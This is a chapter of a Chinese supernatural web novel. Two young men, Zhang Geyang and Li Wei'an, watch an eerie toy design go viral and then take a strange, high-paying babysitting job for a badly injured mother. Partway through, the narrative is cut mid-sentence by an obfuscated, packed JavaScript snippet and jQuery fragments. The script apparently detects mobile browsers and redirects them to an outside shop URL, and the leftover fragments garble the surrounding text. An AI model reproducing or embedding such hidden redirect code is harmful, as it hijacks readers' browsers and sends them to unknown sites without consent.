距离张戈扬和李苇安逃离那座诡异工厂,已经过去了整整两周。
那天两人一起破坏掉那块黑色巨石上的诡秘纹路后,便趁着四下没人,在工厂里到处搜刮了一番,结果还真让他们翻出了一些现金。俩人也只拿走了原本就属于自己的那份工钱,随后便脚底抹油,迅速跑路。
当时那个不靠谱的黑心中介王督,还真就信守诺言,在中午准时来接二人。一上车,张戈扬和李苇安对着他直接就是一顿狂怼,疯狂吐槽此人手里永远接不到什么正经活。
心虚的王督自知理亏,全程笑脸相迎,狂赔不是。最后看在他大老远跑来接人的份上,两人还是从刚摸到手的工钱里抽出几张,扔给王督当作交通补贴。
随着汽车驶离那片荒凉的工业区,这件事在张戈扬心里,也算是画上了一个暂时的句号。
这两天,张戈扬的生活又回归了平静,按时交上了下个月的房租后,手里难得剩下了一点闲钱可以躺平。他像往常一样,在各大招聘软件上海投了一圈简历,随后便百无聊赖地瘫在床上,习惯性地刷起短视频来打发时间。
屏幕上接连滑过杀时间的低质段子,看得张戈扬直打哈欠。就在他即将意识下线之际,无意间划到了一条点赞量高得离谱的视频。
视频开头仅仅闪过了几秒钟的画面,却瞬间把张戈扬吓得睡意全无。他一个激灵,直接从四仰八叉的打瞌睡状态弹起来,切换成双手捧着手机,满脸震惊的盘腿坐姿。
为了确认自己不是出现了幻觉,他反复观看视频,试图看清画面里的东西。果不其然,经过他的仔细辨认,张戈扬确认了视频里短暂露出的那块黑漆漆的石头,正是自己和李苇安在工厂里见到的那颗刻满鬼画符的伪人图纸黑石。
发布者的账号还是一家在国内潮玩圈子里小有名气的厂牌,这期视频的主要内容,是该品牌主设计师在镜头前疯狂吹嘘自己的灵感迸发来源。
设计师声称自己去一家玩具工厂验收样品时,意外发现整个厂房空无一人,转了一大圈,无意中发现了那一块散发着神秘气息的黑色巨石。
他还对着镜头大谈特谈,说巨石上的纹路似乎有某种不可明说的生命力,让他深陷其中无法自拔,经过几天几夜废寝忘食的研究,他终于以这块石头上的纹路为原型,设计出了眼前这个全新的潮玩IP。
视频里展示的那个IP形象,虽然在诸多细节上经过了商业化的设计调整,但整体样子和张戈扬之前在工厂里亲手拼出来的那个伪人娃娃,有着不少相似之处。
这条视频的评论区已经完全炸开了锅,网友们的评价呈现出两极分化的态势。
喜欢这个设计的潮玩玩家们为之疯狂,直呼其为暗黑神作。而讨厌的人则觉得这娃娃的设计实在太邪性,隔着屏幕都能感觉到一种令人不适的亵渎感,就像是一种拥有自我意识的活物。
更有几条网友评论夸张地写道,说这东西的造型一看就是邪恶维度的恶魔在人间的化身,人类疯狂追捧它,购买它的过程,本质上就是在给恶魔献祭自己的生命力。
这些奇怪的争议犹如一场舆论风暴,让这个新IP刚一发布就轰动了全网。厂牌连实体样品都还没赶制出来,预售链接刚一上线就被瞬间秒空。
各大公众人物,网红博主也像着了魔一样,主动在社交媒体上为其站台宣传。这个诡异的娃娃,仿佛天生就自带某种营销魔力,影响力已经大大破圈。
看着手屏幕上的热议,张戈扬的心里实在发虚,根本不敢深想自己在石头上胡乱改动的内容,到底会不会让这个原本就邪门的伪人娃娃,往更加失控和更加奇怪的方向变异。
但事已至此,这场潮玩狂欢的规模已经超出了他一个普通待业青年所能干预和控制的范畴。
张戈扬干脆关掉视频,眼不见为净,安慰自己管好温饱问题比较要紧,就算真出了什么毁灭世界的大事,凭自己一个人的力量也没招。
张戈扬的困意也被这条视频彻底驱散,他坐在床上,忍不住琢磨起自己的未来。如果这邪门的娃娃当真出现了什么可怕的变异,导致世界末日降临,就凭自己现在出租屋里这点面物资,根本撑不了几天。
想到这里,那种天生对贫穷的焦虑感,再次席卷而来。虽然王督每次介绍的兼职都是些玩命活计,但仔细想想,自己似乎每次都能莫名其妙平安度过,更重要的是,工资结算是真的高。
俗话说得好,富贵险中求,在生存压力和钱包焦虑下,张戈扬还是默默拿起了手机,点开了王督的微信,试探性地询问起最近还有没有什么工资丰厚的新活可以接。
王督简直就像住在微信里一样,张戈扬的消息刚发过去,对面毫无缓冲,直接甩过来一份详细的兼职需求说明。
王督说,李苇安几天前就来找自己讨活干了,只是这单差事需要双人组队,自己这公司迟迟匹配不到合适的人,眼下张戈扬既然主动送上门来,正好把俩人凑成一个兼职局。
这次的差事是给一位全职母亲帮忙带孩子,工资依然高得令人咋舌,两千块一天,工作时间从早上七点一直到晚上八点。
雇主表示自己不需要专业的育婴师,也不看重什么学历和育婴资格证,只要会最基础的泡奶喂奶,换尿布和洗澡就行。招聘条件里还不限男女,只强调应聘者必须身体素质好,抗击打能力强。
这位雇主似乎完全不担心把脆弱的婴儿交给两个毫无经验的生手会出什么意外,门槛着实有些低。
雇主在需求里强调,自家孩子非常乖巧,日常护理都是很简单的流程,每三个小时换一次尿布,每四个小时喂一次奶,上下午各推出去散一次步即可。
但要求的最后,雇主标注了一个禁忌:绝对不能让孩子哭。
张戈扬看完要求,心里已经有八成猜测,感觉王督那家不靠谱的公司应该只有自己和李苇安两个员工在埋头苦干,根本不存在其他员工。
按照以往接单的惯例,这个婴儿绝对不可能是正常的人类幼崽,但他转念又一想,就算是变异品种,那也不过是个小婴儿,体型摆在那里,一个小婴儿能有多大的破坏力呢?
抱着盲目乐观的心态,张戈扬还是接下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815360|211032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了这个单子。
王督给二人联系了培训课程,张戈扬便和李苇安俩人别扭地在次日,赶去了指定的社区医院,参加了新生儿护理课堂。
好在社区医院的课上也有不少新手爸爸参与,俩人混在其中倒也不算特别尴尬。花了一整个下午,他们围着塑料假娃娃学了各种抱姿和拍嗝手法,临走时还一人顺了一条免费的口水巾。
但张戈扬心里依旧心虚,小婴儿娇贵脆弱得很,完全不像课程里那种随便揉捏的塑料娃娃那么皮实,俩人只上了半天速成培训,明天就要直接上岗,这事实在不靠谱。
一旁的李苇安虽然全程嘴硬,表现出一副这有何难的态度,但此人在抱那个塑料婴儿娃娃的时候,手心里全是因紧张冒出的冷汗。
事已至此,活都已经接了,两人也只能硬着头皮各回各家,等着次日去雇主家拜访上工,亲自探探深浅。
第二天一早,两人在雇主家楼下碰了头,这才一起走进了单元楼,怀着完全没底的心情敲响了雇主家的房门。
过来迎接他们的是一个看着三十出头的年轻女性,张戈扬和李苇安看清楚来人的面貌后,却都不由自主地倒吸一口凉气。
这位母亲瘦得几乎脱相,浑身上下还缠满了医疗绷带,那些没被绷带遮住的皮肤上,还有不少淤青和红肿。
“您这是遇到什么困难了吗?”张戈扬的脑海中立刻联想到了家暴或者其他恶性事件,整个人正色起来,试图越过女人的肩膀往屋内打探,想看看是不是还藏着会加害于她的暴徒。
“伤成这样先保护自己啊,我帮您报警吧!”李苇安立刻掏出手机,另一只手还想去拉女人,试图先把雇主带到走廊外面安全的区域,生怕屋里真有歹徒在暗中监视。
“哎别呀,不是你们想的那样,这伤全是我自己弄的,今天可算把你们给盼来了!”雇主连忙阻止了李苇安拨号的动作。
她看着眼前这两人,那眼神就像是落水者看到了救生圈一样,极其热情地把还在发懵的二人往屋里请。
“我一直都是单身,没有老公,而且邻居家人和朋友都对我特别好,绝不存在什么别人欺负我的事。我本人也是自由职业,每天都在家办公,更不存在职场霸凌。你们就放一百个心吧,这伤真是我自己弄的,看着吓人,实际没什么大碍。”
雇主将二人请到客厅的沙发处坐下,随后从柜子里掏出了一大袋还没开封的纸尿裤,一罐奶粉,又细致地给二位展示了消毒柜里摆放的奶瓶和叠好的洗澡巾。
两人见雇主虽然像个受伤的木乃伊,但态度相当热情,脸上还带着笑容,也不好多问什么。张戈扬接过了奶粉罐,李苇安则顺手接过了那包纸尿裤,两人便跟着这位遍体鳞伤的母亲来到了婴儿房的门外。
“我家小宝贝就在这里面,哎呀,正醒着看我们呢。”雇主把声音压得很轻,轻手轻脚地推开一条门缝,往婴儿床的方向看了一眼后,笑眯眯地侧过身子让俩人直接进去。
然而,当张戈扬和李苇安顺着推开的房门往里看去时,眼前的景象瞬间让两人直接瞪大眼睛。